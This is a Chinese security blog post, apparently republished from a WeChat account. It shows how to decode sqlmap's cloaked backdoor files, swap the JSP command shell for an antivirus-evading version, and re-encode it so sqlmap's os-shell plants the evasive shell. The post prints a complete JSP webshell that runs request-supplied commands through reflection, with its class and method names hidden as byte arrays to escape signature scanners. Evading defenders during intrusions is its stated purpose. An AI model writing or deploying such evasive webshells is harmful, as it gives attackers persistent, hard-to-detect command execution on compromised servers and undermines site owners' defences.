前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Sqlmap实现os-shell自定义shell,免杀打穿一把梭

Sqlmap实现os-shell自定义shell,免杀打穿一把梭

作者头像
黑伞安全
发布2020-12-16 10:47:10
9300
发布2020-12-16 10:47:10
举报
文章被收录于专栏:黑伞安全黑伞安全

起因

今天在公司划水时,无意间看到了一篇关于sqlmap os-shell功能的刨析文章。该文章详细描述了os-shell的具体流程,但是该作者最后在实现自定义shell时翻车了…

于是就有了这篇文章 就像该作者所说,这种确实有点多此一举。但是也不是没有用武之地,如果对方网络管理员发现了异常的流量可能会临时上传查杀工具对网站进行木马的查杀,这时植入一个免杀的shell可能会为我们渗透赢得宝贵的时间

实现

虽然sqlmap所使用的shell是以二进制形式存放,但是在我们使用os-shell时必定会进行解密操作,sqlmap首先会加载二进制形式的shell以某种方式进行解码后再进行文件的写入。 sqlmap自带的shell存放于\data\shell\backdoors\

首先我们可以sqlmap目录中搜索操作backdoor.***_的文件

其中有关于解码的相关操作位于\lib\core\common.py

可以看到decloakToTemp接收一个filenam参数并调用decloak函数进行解码,根据返回变量字面意思,猜测返回的为该文件解码后的内容,并且在函数说明部分给出了详细的调用方式。 根据引入声明发现decloack来自于extra.cloak.cloak

\extra\cloak\cloak.py中,找到了具体的加解密函数

解密流程大致为:使用定义的KEY调用xor函数进行异或随后使用zlib.decompress进行解码 其中的mian函数还给出了具体的使用方法(真贴心~)

有了解密文件我们根据参数格式传入相应的参数

参数名

注释

-i

输入文件

-o

输出文件

-d

解密操作[不加此参数则为加密]

这里我以jsp的为例,其他格式的流程一样

运行完后以后打开backdoor.jsp就可以看到源码了 原始格式

解码后

通过源码发现就是一个cmd马,那么下面我们就可以将其中具体执行cmd命令的代码替换为我们的免杀的代码或者其他的功能,这里我使用一个反射的cmd马进行替换

代码语言:javascript
复制
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Scanner" %>

<%
out.print("<pre>");
    if(request.getParameter("cmd") != null){
    String str = request.getParameter("cmd");
    String rt = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101});
    Class<?> c = Class.forName(rt);
    Method m1 = c.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101}));
    Method m2 = c.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class);


    Object obj2 = m2.invoke(m1.invoke(null, new Object[]{}), new Object[]{str});

    Method m = obj2.getClass().getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109}));
    m.setAccessible(true);

    Scanner s = new Scanner((InputStream) m.invoke(obj2, new Object[]{})).useDelimiter("\\A");
    String result = s.hasNext() ? s.next() : "";
    out.println(result);
    }
out.print("</pre>");
%>

注意:要想在sqlmap中正常使用os-shell功能,替换的shell接收参数必须和原先的一致 替换完成后同样使用decloak脚本对源码文件加密

生成backdoor_diy.jsp_加密文件后,将其拷贝到sqlmap的shell目录中 (注意将文件名改为backdoor.jsp_) 最后我们本地起一个java的注入环境进行测试

使用os-shell进行测试

功能正常,确认上传的tmpbqlnx.jsp为我们修改后的shell

木得问题,最后拖入D盾测试一下

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-12-03,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 黑伞攻防实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 起因
  • 实现
相关产品与服务
命令行工具
腾讯云命令行工具 TCCLI 是管理腾讯云资源的统一工具。使用腾讯云命令行工具,您可以快速调用腾讯云 API 来管理您的腾讯云资源。此外,您还可以基于腾讯云的命令行工具来做自动化和脚本处理,以更多样的方式进行组合和重用。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档